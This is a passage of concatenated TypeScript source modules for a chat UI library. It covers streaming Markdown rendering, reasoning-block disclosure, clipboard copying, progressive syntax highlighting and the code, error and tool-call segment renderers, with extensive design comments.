smd.renderer.write(tail);\n smd.written = content.length;\n }\n smd.renderer.end();\n host._aparteSmd = undefined;\n if (!hasOneShotMarkdownProvider()) {\n // `renderMarkdown` can only escape here (the incremental provider failed on\n // the complete string), so the render below would write the raw source over\n // rendered DOM. Keep what the parser wrote — through the sanitizer, which is\n // what makes writing DOM directly acceptable in the first place.\n contentEl.innerHTML = contextConfig().sanitizeHtml(contentEl.innerHTML);\n settledFromParser.set(contentEl, content);\n return;\n }\n // Otherwise fall through: the one-shot provider re-renders for full fidelity.\n } else if (settledFromParser.get(contentEl) === content && !hasOneShotMarkdownProvider()) {\n // Settled already, on this very content: what the parser wrote is still the\n // best render available. Changed content, or a one-shot provider registered\n // since, falls through — the kept DOM would be stale or second-best.\n return;\n }\n\n settledFromParser.delete(contentEl);\n contentEl.innerHTML = contextConfig().renderMarkdown(content);\n}\n\n/**\n * Highlight the fenced code blocks a Markdown render produced.\n *\n * The `code` SEGMENT renderer is the only thing in the library that calls\n * `highlightCode()`, so a fence that arrives inside another segment's Markdown —\n * a reasoning block, say — came out as a bare `<pre><code>` while the same fence\n * in the answer was highlighted. This closes that gap without touching the parser:\n * no nested segments, no segment tree, just the same provider applied to the\n * markup Markdown already produced.\n *\n * Best-effort and idempotent: a marked block is skipped on a re-render, a missing\n * provider leaves the plain block alone, and a failed highlight degrades silently\n * — exactly like the code renderer's own call.\n */\nexport function highlightMarkdownFences(contentEl: Element): void {\n // No highlighter: core's fallback is a bare `<pre><code>`, and put in the block's place it\n // would take the `language-*` class and whatever the Markdown renderer wrote on the `<pre>`.\n // Unmarked, so a highlighter set later still finds the block when the message is redrawn.\n if (!contextConfig().hasHighlightProvider()) return;\n const blocks = contentEl.querySelectorAll('pre > code:not([data-aparte-highlighted])');\n for (const block of blocks) {\n const pre = block.parentElement;\n if (!pre) continue;\n // `language-ts` is what every Markdown renderer emits for ```ts.\n const lang = Array.from(block.classList)\n .find(c => c.startsWith('language-'))?.slice('language-'.length) ?? '';\n const source = block.textContent ?? '';\n block.setAttribute('data-aparte-highlighted', '');\n void contextConfig().highlightCode(source, lang)\n .then(html => {\n // The provider returns a full `<pre>…</pre>`, so it replaces the\n // block's own `<pre>` rather than filling it.\n if (pre.isConnected || pre.parentElement) pre.outerHTML = html;\n })\n .catch(() => { /* best-effort: a failed highlight degrades silently */ });\n }\n}\n","/**\n * Plain text — the streaming path, and the only renderer that owns a DOM host contract.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml } from '../../utils/escape.js';\nimport { contextConfig } from '../../config/index.js';\nimport { writeStreamedMarkdown, highlightMarkdownFences, type AparteMarkdownStreamHost } from '../markdown-stream.js';\nimport type {\n AparteSegmentRenderer,\n AparteTextSegment,\n} from '../../types/index.js';\n\n/**\n * Text segment renderer.\n *\n * The incremental-vs-one-shot Markdown machinery lives in\n * `../markdown-stream.ts`, shared with the thinking renderer — see that file for\n * why appending beats rebuilding, and what the settling update flushes.\n */\nexport const textRenderer: AparteSegmentRenderer<AparteTextSegment> = {\n type: 'text',\n render: (segment) => `<div class=\"aparte-segment aparte-segment-text\" data-segment-id=\"${escapeHtml(segment.id)}\"><div class=\"aparte-segment-content\">${contextConfig().renderMarkdown(segment.content)}</div></div>`,\n /*\n * A fence in a settled text segment is highlighted, as the thinking renderer does for\n * its own. The parser turns a streamed fence into a `code` segment, so this only ever\n * mattered for text built by hand (`setSegments`, a restored message, a server's) — and\n * the bubble's own pass skips any message that has segments, so that fence stayed bare.\n */\n setup: (el, segment) => {\n const contentEl = el.querySelector('.aparte-segment-content');\n // Only a segment marked streaming is still being written: one with no flag at all —\n // `setSegments`, an `appendMessage` with segments — is finished, and is highlighted.\n if (contentEl && segment.isStreaming !== true) highlightMarkdownFences(contentEl);\n },\n update: (el, segment) => {\n const contentEl = el.querySelector('.aparte-segment-content');\n if (!contentEl) return;\n writeStreamedMarkdown(\n el as AparteMarkdownStreamHost,\n contentEl,\n segment.content,\n segment.isStreaming !== false,\n );\n if (segment.isStreaming === false) highlightMarkdownFences(contentEl);\n },\n getStyles: () => ``\n};\n","/**\n * Reasoning blocks — a collapsed disclosure the user can open.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml, escapeAttr } from '../../utils/escape.js';\nimport { contextConfig } from '../../config/index.js';\nimport {\n writeStreamedMarkdown,\n highlightMarkdownFences,\n type AparteMarkdownStreamHost,\n} from '../markdown-stream.js';\nimport type {\n AparteSegmentRenderer,\n AparteThinkingSegment,\n} from '../../types/index.js';\n\n/**\n * How far from the bottom still counts as \"at the bottom\", in px.\n *\n * Deliberately much tighter than the transcript's 50: this box is ~300px tall, so\n * 50 would call the last sixth of it \"the bottom\". One line of reasoning text is\n * about 20px (13px font, 1.55 line-height), and the slack exists for sub-pixel\n * layout rounding rather than for user intent — scrolling up by a single line is a\n * decision, and it disengages the anchor.\n */\nconst THINKING_ANCHOR_SLACK = 24;\n\n/**\n * A block's own label, else the locale's. `'Thinking'` counts as none: streamed blocks carried\n * that English literal until 0.19.3, and a conversation saved then would keep it in every locale.\n */\nfunction labelOf(segment: AparteThinkingSegment): string {\n return segment.label && segment.label !== 'Thinking' ? segment.label : contextConfig().t('thinking');\n}\n\nexport const thinkingRenderer: AparteSegmentRenderer<AparteThinkingSegment> = {\n type: 'thinking',\n /*\n * Markdown, like every other prose surface.\n *\n * The reasoning was rendered as escaped plain text in a `white-space: pre-wrap`\n * box, so a model that formats its thinking — headings, lists, `**bold**`, a\n * fenced snippet, which is most of them — showed its own syntax as literal\n * characters. Nothing said that was deliberate; it read as one, because the\n * `pre-wrap` made it look like a chosen preformatted block.\n *\n * `renderMarkdown` sanitizes its provider's output before it reaches innerHTML,\n * so this is exactly the text renderer's path, with the same guarantees and no\n * new class of risk. With no Markdown provider registered it degrades to the\n * zero-dependency default (escape + `<br>`), which is what it used to be.\n */\n /*\n * WEARS THE ACCORDION RECIPE. A reasoning block is a disclosure — `<details>`, a\n * `<summary>` you press, a panel, a chevron that turns — which is exactly what\n * `surface/accordion.css` already draws, and this renderer used to draw a second\n * time under four classes of its own. Two costs, both visible: it looked unrelated\n * to every other disclosure in the library, and its chevron was the CHARACTER `▼`,\n * a fourth way to draw a chevron here and the only one that is not a glyph — so it\n * could not take `--aparte-icon-size`, could not be replaced through the icon\n * provider, and rendered in whatever the platform font felt like.\n *\n * What stays thinking's own is the left rail and the quieter tone, which is the\n * only part that is genuinely about reasoning rather than about disclosure.\n * `.aparte-thinking-label` stays too: `relabel` below queries it.\n */\n render: (segment) => `<details class=\"aparte-segment aparte-segment-thinking aparte-accordion__item\" data-segment-id=\"${escapeHtml(segment.id)}\" ${segment.collapsed === false ? 'open' : ''}><summary class=\"aparte-accordion__header aparte-thinking-header\"><span class=\"aparte-thinking-label\">${escapeHtml(labelOf(segment))}</span><span class=\"aparte-accordion__icon\">${contextConfig().getIcon('expand')}</span></summary><div class=\"aparte-accordion__panel aparte-thinking-content\" role=\"region\" tabindex=\"0\" aria-label=\"${escapeAttr(labelOf(segment))}\">${contextConfig().renderMarkdown(segment.content)}</div></details>`,\n /**\n * The default label is the only config-derived text here — and `segment.label`\n * still wins, exactly as in `render`, because that string is the app's.\n */\n relabel: (el, segment) => {\n const text = labelOf(segment);\n const label = el.querySelector('.aparte-thinking-label');\n if (label) label.textContent = text;\n el.querySelector('.aparte-thinking-content')?.setAttribute('aria-label', text);\n },\n update: (el, segment) => {\n // collapsed state is managed by _applySegmentUpdate based on explicit updates only —\n // never override what the user set by clicking <summary>\n const contentEl = el.querySelector('.aparte-thinking-content');\n if (!contentEl) return;\n\n // Anchor to the bottom while the reasoning streams — but only if the reader\n // was already there.\n //\n // `.aparte-thinking-content` is its own scroll container (`max-height` +\n // `overflow-y: auto`), and this update replaced its text without touching\n // `scrollTop`. So every delta pushed the newest line below the fold and the\n // block sat frozen on the first 300px of a reasoning trace that kept\n // growing. Same rule as the transcript itself: follow the stream, unless the\n // reader has scrolled up to read — then leave their position alone. No\n // scroll-to-bottom button; being at the bottom is the whole signal.\n //\n // The measurement MUST happen before the write. Afterwards `scrollHeight`\n // has already grown by the new text, so the distance to the bottom is\n // whatever just arrived and the answer is always \"not at the bottom\" — the\n // block would then anchor exactly never. The transcript's own scroll\n // handling cost five wrong attempts on this ordering; it is written down\n // here so the sixth is not in this file.\n const wasAtBottom =\n contentEl.scrollHeight - contentEl.scrollTop - contentEl.clientHeight <= THINKING_ANCHOR_SLACK;\n\n const streaming = segment.isStreaming !== false;\n writeStreamedMarkdown(el as AparteMarkdownStreamHost, contentEl, segment.content, streaming);\n\n // Highlight on settle only, exactly like the code renderer: running a\n // highlighter on every token is the paint storm the incremental writer\n // exists to avoid. A fence inside reasoning is not a `code` SEGMENT — the\n // parser accumulates a thinking block raw until its closing delimiter — so\n // without this it would be the one code block in the transcript with no\n // highlighting. No copy button here: that would need real nested segments,\n // which is a design change and not this fix.\n if (!streaming) highlightMarkdownFences(contentEl);\n\n if (wasAtBottom) contentEl.scrollTop = contentEl.scrollHeight;\n },\n getStyles: () => ``\n};\n","/**\n * Copy text to the clipboard, in every context the library actually runs in.\n *\n * `navigator.clipboard` is **secure-context only** — the same wall `uuid.ts` documents\n * for `crypto.randomUUID`. On `http://192.168.1.x`, the archetypal deployment for this\n * library's own audience, the property is `undefined`, so\n * `navigator.clipboard.writeText(text)` throws a TypeError synchronously — before any\n * `.catch()` can see it. The three copy buttons core renders (the bubble's action bar, a\n * code block, the artifact card) each had a `.catch()` for a REJECTED write and nothing\n * for a missing API: on plain http they threw in the click handler and gave no feedback\n * at all, not even a failed one.\n *\n * The fallback is `document.execCommand('copy')` — deprecated, but every engine still\n * honours it from a user gesture and it needs no secure context. The text goes into an\n * off-screen textarea, is selected, copied, and the textarea is removed; focus is handed\n * back to where it was, so a keyboard user does not lose their place on the button. It is\n * the path clipboard.js and copy-to-clipboard take, for the same reason.\n *\n * Rejects when neither path could copy, so a caller's \"copied\" confirmation can stay\n * honest.\n */\nexport function copyText(text: string): Promise<void> {\n // In this repo, `pnpm check:secure-context` refuses a bare `navigator.clipboard` anywhere\n // but here, so the sweep cannot come undone one call site at a time.\n if (typeof navigator !== 'undefined' && navigator.clipboard && typeof navigator.clipboard.writeText === 'function') {\n return navigator.clipboard.writeText(text);\n }\n return new Promise<void>((resolve, reject) => {\n if (typeof document === 'undefined' || typeof document.execCommand !== 'function') {\n reject(new Error('[aparte] No clipboard available in this context'));\n return;\n }\n const area = document.createElement('textarea');\n area.value = text;\n area.setAttribute('readonly', '');\n area.setAttribute('aria-hidden', 'true');\n // Off-screen, not `display: none` — a hidden control cannot hold a selection.\n area.style.position = 'fixed';\n area.style.top = '0';\n area.style.left = '-9999px';\n area.style.opacity = '0';\n const active = document.activeElement;\n document.body.appendChild(area);\n // Focus explicitly: `select()` focuses in browsers but not everywhere, and the\n // command copies the DOCUMENT's selection — which is the focused control's.\n area.focus();\n area.select();\n area.setSelectionRange(0, text.length);\n let copied = false;\n try { copied = document.execCommand('copy'); } catch { copied = false; }\n area.remove();\n if (active instanceof HTMLElement) active.focus();\n if (copied) resolve();\n else reject(new Error('[aparte] Clipboard write failed'));\n });\n}\n","/**\n * Progressive syntax highlighting for a code pane that is STILL STREAMING.\n *\n * The previous shape — `codeEl.textContent = content` on every token, plus a\n * debounced full re-highlight — made the pane flicker between plain and coloured:\n * assigning `textContent` destroys the highlighter's `<span>`s, so each token\n * erased the colours the last debounce had painted, and the reader saw plain text\n * most of the time with a coloured frame every 400ms. The debounce was not the\n * problem; rewriting the whole block on every token was.\n *\n * So the pane is split at the last newline:\n *\n * <pre><code> …highlighted COMPLETE lines… <span data-aparte-tail>partial line</span>\n *\n * A token only rewrites the tail, which costs one text assignment and leaves the\n * coloured prefix untouched. The prefix advances at most once per\n * `HIGHLIGHT_DEBOUNCE_MS`, and only when a new line has actually completed —\n * highlighting a half-written line is also what made the colours wrong as well as\n * flickering, because an unterminated string or brace re-tokenises everything\n * after it.\n *\n * `data-aparte-hl-len` on the pane is the boundary, and the DOM is deliberately\n * the source of truth for it rather than a module-level map: it makes the value\n * monotonic across a slow highlight that resolves out of order, and it cannot go\n * stale when the pane is rebuilt underneath us.\n */\nimport { contextConfig } from '../config/index.js';\nimport { escapeHtml } from '../utils/escape.js';\n\n/** One highlight per pane per this window. Shiki costs 50-100ms per call. */\nconst HIGHLIGHT_DEBOUNCE_MS = 400;\n/** Bound on the throttle bookkeeping, so a long session cannot grow it forever. */\nconst MAX_THROTTLE_ENTRIES = 256;\n\nconst _lastHighlightAt = new Map<string, number>();\n\n/**\n * Record `id`'s last-seen time in a bounded, insertion-ordered map.\n *\n * Shared with the artifact's event-dispatch throttle, which is why it is generic\n * over the map rather than closing over one.\n */\nexport function markThrottle(map: Map<string, number>, id: string, at: number): void {\n map.delete(id);\n if (map.size >= MAX_THROTTLE_ENTRIES) {\n const oldest = map.keys().next().value;\n if (oldest !== undefined) map.delete(oldest);\n }\n map.set(id, at);\n}\n\n/** Where the coloured prefix ends. Absent or unparseable means \"nothing coloured\". */\nfunction highlightedLen(pane: HTMLElement): number {\n const n = Number(pane.dataset.aparteHlLen);\n return Number.isFinite(n) && n > 0 ? n : 0;\n}\n\n/**\n * Paint `content` into `paneSelector` while it streams.\n *\n * Call it on every token: the cheap half runs every time, the highlight is\n * throttled internally. The caller still runs one final, whole-content highlight\n * when the segment settles — this function deliberately never colours the last\n * line, so the settle pass is what completes it.\n */\nexport function streamHighlight(\n element: HTMLElement,\n paneSelector: string,\n content: string,\n lang: string,\n segId: string,\n): void {\n const pane = element.querySelector<HTMLElement>(paneSelector);\n if (!pane) return;\n\n const tail = pane.querySelector<HTMLElement>('[data-aparte-tail]');\n const hlLen = highlightedLen(pane);\n\n // ── every token: move the tail, and nothing else ──────────────────────\n if (tail && hlLen <= content.length) {\n tail.textContent = content.slice(hlLen);\n } else {\n // No coloured prefix yet, or the pane was rebuilt under us (a settle\n // highlight replaces the whole thing). Plain text, and forget the\n // boundary — self-healing beats a reset call at three call sites.\n delete pane.dataset.aparteHlLen;\n const codeEl = pane.querySelector('code');\n if (codeEl) codeEl.textContent = content;\n else pane.innerHTML = `<pre><code class=\"language-${escapeHtml(lang || 'text')}\">${escapeHtml(content)}</code></pre>`;\n }\n\n // ── throttled: advance the coloured prefix by whole lines ─────────────\n const cut = content.lastIndexOf('\\n') + 1;\n if (cut <= hlLen) return;\n const now = Date.now();\n if (now - (_lastHighlightAt.get(segId) ?? 0) < HIGHLIGHT_DEBOUNCE_MS) return;\n markThrottle(_lastHighlightAt, segId, now);\n\n // Resolved from the element, not the ambient config: this lands late, and by\n // then the render-time config is gone.\n void contextConfig(element).highlightCode(content.slice(0, cut), lang).then(html => {\n const live = element.querySelector<HTMLElement>(paneSelector);\n if (!live) return;\n // Monotonic. Two highlights can be in flight; the older one carries the\n // SHORTER prefix, and letting it land would visibly rewind the pane.\n if (cut <= highlightedLen(live)) return;\n live.innerHTML = html;\n const codeEl = live.querySelector('code') ?? live;\n const span = document.createElement('span');\n span.dataset.aparteTail = '';\n // The captured tail may already be one token behind; the next token fixes\n // it, and there is always a next one or a settle pass.\n span.textContent = content.slice(cut);\n codeEl.appendChild(span);\n live.dataset.aparteHlLen = String(cut);\n }).catch(() => { /* best-effort: a failed highlight degrades silently */ });\n}\n","/**\n * Fenced code — highlighted through the opt-in provider, plain when there is none.\n *\n * One renderer, one file; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml, escapeAttr } from '../../utils/escape.js';\nimport { copyText } from '../../utils/copy-text.js';\nimport { contextConfig } from '../../config/index.js';\nimport { streamHighlight } from '../highlight-stream.js';\nimport type {\n AparteSegmentRenderer,\n AparteCodeSegment,\n} from '../../types/index.js';\n\n/**\n * The tooltip and the accessible name are the same string and move together: an icon\n * button named by `title` alone has nothing for a screen reader to read, so both are set.\n */\nfunction nameButton(button: HTMLElement, label: string): void {\n button.setAttribute('aria-label', label);\n button.setAttribute('title', label);\n}\n\nexport const codeRenderer: AparteSegmentRenderer<AparteCodeSegment> = {\n type: 'code',\n render: (segment) => `\n <div class=\"aparte-segment aparte-segment-code\" data-segment-id=\"${escapeHtml(segment.id)}\">\n <div class=\"aparte-code-header\">\n ${segment.filename\n ? `<span class=\"aparte-code-filename\">${escapeHtml(segment.filename)}</span>`\n : `<span class=\"aparte-code-header-filler\"></span>`}\n <span class=\"aparte-code-language\">${escapeHtml(segment.language || '')}</span>\n <button type=\"button\" class=\"aparte-btn aparte-btn--icon aparte-btn--sm aparte-code-copy\" data-action=\"copy\" aria-label=\"${escapeAttr(contextConfig().t('copy'))}\" title=\"${escapeAttr(contextConfig().t('copy'))}\">\n ${contextConfig().getIcon('copy')}\n </button>\n </div>\n <div class=\"aparte-code-content-wrapper\">\n <pre><code class=\"language-${escapeHtml(segment.language || 'text')}\">${escapeHtml(segment.content)}</code></pre>\n </div>\n </div>\n `,\n /** The copy button's icon and tooltip — nothing else here comes from config. */\n relabel: (element) => {\n const copyBtn = element.querySelector('.aparte-code-copy') as HTMLElement | null;\n // Leave a button mid-\"copied\" alone; its own timeout restores the resting\n // state from the new config a moment later anyway.\n if (!copyBtn || copyBtn.dataset.copied) return;\n nameButton(copyBtn, contextConfig().t('copy'));\n copyBtn.innerHTML = contextConfig().getIcon('copy');\n },\n setup: (element, segment) => {\n // Async highlight: replace plain <pre><code> with highlighted HTML once ready\n const wrapper = element.querySelector('.aparte-code-content-wrapper');\n if (wrapper) {\n void contextConfig().highlightCode(segment.content, segment.language || '').then(html => {\n wrapper.innerHTML = html;\n }).catch(() => { /* best-effort: a failed highlight degrades silently */ });\n }\n\n // Typed as HTMLElement: the confirmation is marked with a data attribute so\n // `relabel` can leave it alone, and `dataset` is not on `Element`.\n const copyBtn = element.querySelector('.aparte-code-copy') as HTMLElement | null;\n if (copyBtn) {\n copyBtn.addEventListener('click', () => {\n // Read the DOM, not the segment this closure captured.\n //\n // `setup` runs once, on the segment as it is at that moment — for a\n // streamed fence, empty. The bubble replaces its segment object on every\n // `updateSegment` (`{...old, ...updates}`), so the captured one stays\n // frozen at creation and would copy an empty string.\n //\n // `textContent` is the source either way: the highlighter wraps it\n // in spans, which contribute no text.\n const source = element.querySelector('.aparte-code-content-wrapper')?.textContent ?? '';\n // Late execution (user click) — the ambient render config is\n // gone; resolve from the connected element instead.\n void copyText(source).catch(() => { /* best-effort: a failed clipboard write degrades silently */ });\n copyBtn.innerHTML = contextConfig(copyBtn).getIcon('check');\n nameButton(copyBtn, contextConfig(copyBtn).t('copied'));\n // Marked, so `relabel` does not cancel a confirmation the reader is\n // still looking at. The flag is also the only way to tell the two\n // states apart: they differ by title and icon alone, and after a\n // locale switch the old title matches nothing.\n copyBtn.dataset.copied = '1';\n setTimeout(() => {\n copyBtn.innerHTML = contextConfig(copyBtn).getIcon('copy');\n nameButton(copyBtn, contextConfig(copyBtn).t('copy'));\n delete copyBtn.dataset.copied;\n }, 1500);\n });\n }\n },\n update: (element, segment) => {\n if (segment.isStreaming) {\n // Coloured WHILE it streams, so a fence is not grey until the stream ends.\n streamHighlight(element, '.aparte-code-content-wrapper', segment.content, segment.language || '', segment.id);\n } else {\n // Streaming complete — run the highlight provider for polished output.\n const wrapper = element.querySelector('.aparte-code-content-wrapper');\n if (wrapper) {\n void contextConfig().highlightCode(segment.content, segment.language || '').then(html => {\n wrapper.innerHTML = html;\n }).catch(() => { /* best-effort: a failed highlight degrades silently */ });\n }\n }\n },\n getStyles: () => ``\n};\n","/**\n * A failed turn, rendered in the transcript rather than thrown.\n *\n * One renderer, one file; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml } from '../../utils/escape.js';\nimport { contextConfig } from '../../config/index.js';\nimport type {\n AparteSegmentRenderer,\n AparteErrorSegment,\n} from '../../types/index.js';\n\nexport const errorRenderer: AparteSegmentRenderer<AparteErrorSegment> = {\n type: 'error',\n render: (segment) => {\n // A registered error renderer (aparteGlobalConfig.setErrorRenderer) owns the error\n // UI — the one place to customize it, string or live HTMLElement.\n const custom = contextConfig().getErrorRenderer?.();\n if (custom) {\n const out = custom({ message: segment.content, details: segment.details });\n if (out instanceof HTMLElement) {\n // Tag the root so in-place segment updates can still target it.\n out.setAttribute('data-segment-id', segment.id);\n return out;\n }\n return out;\n }\n return `\n <div class=\"aparte-segment aparte-alert aparte-alert--danger aparte-segment-error\" data-segment-id=\"${escapeHtml(segment.id)}\">\n <span class=\"aparte-alert__icon\">${contextConfig().getIcon('error') || '⚠'}</span>\n <div class=\"aparte-alert__body\">\n <div class=\"aparte-alert__title\">${escapeHtml(contextConfig().t('error'))}</div>\n <div class=\"aparte-alert__message\">${escapeHtml(segment.content)}</div>\n ${segment.details ? `<pre class=\"aparte-segment-error__details\">${escapeHtml(segment.details)}</pre>` : ''}\n </div>\n </div>\n `;\n },\n /**\n * The icon and the heading (`locale.error`).\n *\n * Not the message: that is the model's or the transport's text, in whatever\n * language it arrived in. Relabelling it would be inventing content.\n */\n relabel: (element) => {\n const wrap = element.querySelector('.aparte-alert__icon');\n if (wrap) wrap.innerHTML = contextConfig().getIcon('error') || '⚠';\n const title = element.querySelector('.aparte-alert__title');\n if (title) title.textContent = contextConfig().t('error');\n },\n\n getStyles: () => ``\n};\n","/**\n * A tool call's arguments, as text — one implementation, two surfaces.\n *\n * The transcript row and the approval panel both show the arguments the model chose,\n * and they must show the SAME text: the row is the anchor that says a call is waiting,\n * the panel is where the person decides. Two renderings of one value drift, and here\n * the drift would be a person approving a call they read differently from the one that\n * runs. So it is a function in `utils/`, not a copy in each renderer.\n *\n * Pretty-printed JSON, because that is what the model actually sent and what every\n * reference implementation shows — a prose summary would be core inventing a reading\n * of arguments it knows nothing about. `JSON.stringify` can throw on a cyclic value,\n * which a tool input should never be but a hand-built segment can be, so a failure\n * degrades to no input rather than to a broken bubble.\n *\n * The return is TEXT and never markup: both call sites put it on screen through\n * `textContent` or an escaped interpolation, because the arguments are model-authored.\n */\nexport function describeToolInput(input: unknown, format?: (input: Record<string, unknown>) => string): string {\n if (!input || typeof input !== 'object' || Object.keys(input).length === 0) return '';\n // A host's own reading of its tool's arguments (`registerToolInputFormatter`); one that\n // throws, or returns something other than text, falls back to what the model sent.\n if (format) {\n try {\n const text = format(input as Record<string, unknown>);\n if (typeof text === 'string') return text;\n } catch { /* the JSON below */ }\n }\n try {\n return JSON.stringify(input, null, 2);\n } catch {\n return '';\n }\n}\n","/**\n * A tool call and its result — the biggest of the nine, and the one an app most often replaces.\n *\n * One renderer, one file; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml, escapeAttr } from '../../utils/escape.js';\nimport { contextConfig } from '../../config/index.js';\nimport type {\n AparteSegmentRenderer,\n AparteToolCallSegment,\n} from '../../types/index.js';\nimport { injectToolRendererStyles } from '../segment-renderers.js';\nimport { describeToolInput } from '../../utils/tool-input.js';\n\n/**\n * The arguments as text, or `''` when there are none worth showing.\n *\n * The body moved to `utils/tool-input.ts` when the approval panel started showing the\n * same arguments: the row is the anchor and the panel is where the decision is made,\n * so a person must not be able to read the two differently. See that file for why it\n * is pretty-printed JSON.\n */\nfunction describeInput(segment: AparteToolCallSegment): string {\n return describeToolInput(segment.toolCall?.input, contextConfig().getToolInputFormatter(segment.toolCall?.name ?? ''));\n}\n\n/**\n * The state badge: a glyph AND a word.\n *\n * One function so `render` and `update` cannot disagree.\n *\n * The word matters: a bare cross beside a tool's name reads as a button that removes\n * it, so the state is labelled rather than only drawn. The badge is also where the\n * COLOUR lives; the rest of the row stays quiet, so a finished tool call does not\n * shout louder than the reply it belongs to.\n */\nfunction stateBadge(segment: AparteToolCallSegment): string {\n const cfg = contextConfig();\n const status = segment.status ?? 'pending';\n const word = (key: string): string => escapeHtml(cfg.t(key as never));\n // Paused for a person: two bars, so the one state a reader must act on wears a glyph\n // like every other — it used to be the only bare word in the row.\n if (status === 'awaiting-approval') return `${cfg.getIcon('pause')}${word('approvalWaiting')}`;\n if (status === 'pending') return word('toolRunning');\n if (status === 'resolved') return `${cfg.getIcon('check')}${word('toolCompleted')}`;\n if (status === 'rejected') return `${cfg.getIcon('close')}${word('toolRejected')}`;\n // A stop square, not the cross rejected wears: stopped and declined are two\n // different outcomes, and they used to share the glyph and the colour.\n if (status === 'aborted') return `${cfg.getIcon('stop')}${word('toolStopped')}`;\n // A crash is a third outcome: not declined, not stopped — the handler threw.\n if (status === 'failed') return `${cfg.getIcon('close')}${word('toolFailed')}`;\n return '';\n}\n\n/**\n * Write one part's text, or take the part out when there is nothing to show.\n *\n * `textContent`, never `innerHTML`: the arguments are the MODEL's and the result is\n * whatever a tool returned, so both are the exact shape the escaping guard exists for.\n * The colour comes afterwards, from a provider whose output is sanitised.\n */\nfunction setPart(element: HTMLElement, part: 'input' | 'output', text: string): void {\n const existing = element.querySelector<HTMLElement>(`[data-part=\"${part}\"]`); // safe-attr: selector position, and `part` is a typed literal union ('input' | 'output') — not input\n if (!text) { existing?.remove(); return; }\n if (existing) {\n const code = existing.querySelector('code');\n if (code && code.textContent !== text) code.textContent = text;\n return;\n }\n // The part appeared between two updates — a call that had no result now has one.\n const detail = element.querySelector('.aparte-tool-detail');\n if (!detail) return;\n const cfg = contextConfig();\n const wrap = document.createElement('div');\n wrap.className = 'aparte-tool-part';\n wrap.dataset['part'] = part; // safe-attr: a typed literal union ('input' | 'output'), not input\n const label = document.createElement('span');\n label.className = 'aparte-tool-part-label';\n label.textContent = cfg.t(part === 'input' ? 'toolInput' : 'toolOutput');\n const body = document.createElement('div');\n body.className = 'aparte-tool-part-body';\n const pre = document.createElement('pre');\n const code = document.createElement('code');\n code.textContent = text;\n pre.appendChild(code);\n body.appendChild(pre);\n wrap.append(label, body);\n // Input before output, whichever arrived first.\n if (part === 'input') detail.prepend(wrap);\n else detail.appendChild(wrap);\n}\n\n/**\n * Colour both parts, best-effort.\n *\n * Async and from `setup`/`update`, the same shape the `code` segment uses: `render`\n * returns escaped text so the block is readable with no provider at all, and a\n * registered highlighter upgrades it after. A failure degrades to the escaped text\n * rather than to an empty box.\n *\n * `json` for both: the input IS json, and a tool result is a string a tool chose —\n * usually json, and a highlighter given json that is not json returns it unharmed.\n */\nfunction highlightParts(element: HTMLElement): void {\n const cfg = contextConfig();\n for (const body of element.querySelectorAll<HTMLElement>('.aparte-tool-part-body')) {\n const text = body.querySelector('code')?.textContent ?? '';\n if (!text) continue;\n void cfg.highlightCode(text, 'json').then((html) => {\n // Re-read: an update may have replaced this text while we awaited.\n if ((body.querySelector('code')?.textContent ?? '') !== text) return;\n body.innerHTML = html;\n }).catch(() => { /* the escaped text already reads correctly */ });\n }\n}\n\n/**\n * What the call targets, from the summary registered for its tool — `''` when there is\n * none, or when it throws: a summary reads model-chosen input, and a bad one must cost\n * the row its one line, not the bubble its render.\n */\nfunction toolTarget(segment: AparteToolCallSegment): string {\n const summary = contextConfig().getToolSummary(segment.toolCall?.name ?? '');\n if (!summary) return '';\n try {\n const text = summary(segment);\n return typeof text === 'string' ? text.trim() : '';\n } catch {\n return '';\n }\n}\n\n/**\n * Write the target into its container, which is always in the pill for the same reason\n * the spinner is: `update` patches in place, and the arguments a summary reads can still\n * be arriving when the row is first drawn. `relabel` calls it too, so a summary\n * registered after the row was drawn reaches it on the next config change.\n */\nfunction setTarget(element: Element, segment: AparteToolCallSegment): void {\n const el = element.querySelector('.aparte-tool-target');\n if (!el) return;\n const text = toolTarget(segment);\n if (el.textContent !== text) el.textContent = text;\n el.toggleAttribute('hidden', !text);\n}\n\n/**\n * The pill, as markup.\n *\n * A function and not an inline template, so its escaping exemption can sit on a\n * DECLARATION line. Inline, the `//` comment the guard reads landed INSIDE the template\n * literal and rendered as visible text in the bubble — the exact trap this file's\n * `getStyles` block warns about, walked into one edit later.\n */\nfunction pillMarkup(segment: AparteToolCallSegment, name: string, status: string): string {\n const badge = stateBadge(segment); // safe-text: escaped locale text plus the icon provider's SVG — the same contract as getIcon, where escaping would print the source\n const target = toolTarget(segment);\n return `\n <span class=\"aparte-tool-label\">\n <span class=\"aparte-tool-icon\">${contextConfig().getIcon('tool')}</span>\n <span class=\"aparte-tool-name\">${escapeHtml(name)}</span>\n <span class=\"aparte-tool-target\"${target ? '' : ' hidden'}>${escapeHtml(target)}</span>\n </span>\n <span class=\"aparte-spinner aparte-tool-spinner\" aria-hidden=\"true\"${status === 'pending' ? '' : ' hidden'}></span>\n <span class=\"aparte-tool-state\">${badge}</span>`;\n}\n\nexport const toolCallRenderer: AparteSegmentRenderer<AparteToolCallSegment> = {\n type: 'tool_call',\n render: (segment) => {\n const name = segment.toolCall?.name ?? 'tool';\n const status = segment.status ?? 'pending';\n const toolCallId = segment.toolCall?.id ?? '';\n\n /*\n * A tool waiting for a person is a STATE of the pill now, not a control.\n *\n * The Approve / Reject buttons were here, and they were the only decision\n * surface in the whole library that lived in the transcript. They are at the\n * composer now, which is where every other request for the user already went —\n * so this is the ANCHOR: the thing you scroll to, and the thing the panel is\n * about. Nothing clickable, no role, no tab stop, no pointer (ratified decision\n * #8: an undeclared affordance is not half-rendered either).\n *\n * It also fixes a defect by construction rather than by guarding: a segment\n * restored from storage used to repaint live buttons wired to a listener that\n * had gone with the page.\n *\n * And removing the branch un-shadows a seam that was said to be missing. It ran\n * BEFORE the per-tool renderer lookup below, so `registerToolRenderer` could\n * never draw anything while a tool awaited approval. The lookup is now first,\n * and a tool renders its own surface at every status.\n */\n const customRenderer = contextConfig().getToolRenderer(segment.toolCall?.name);\n if 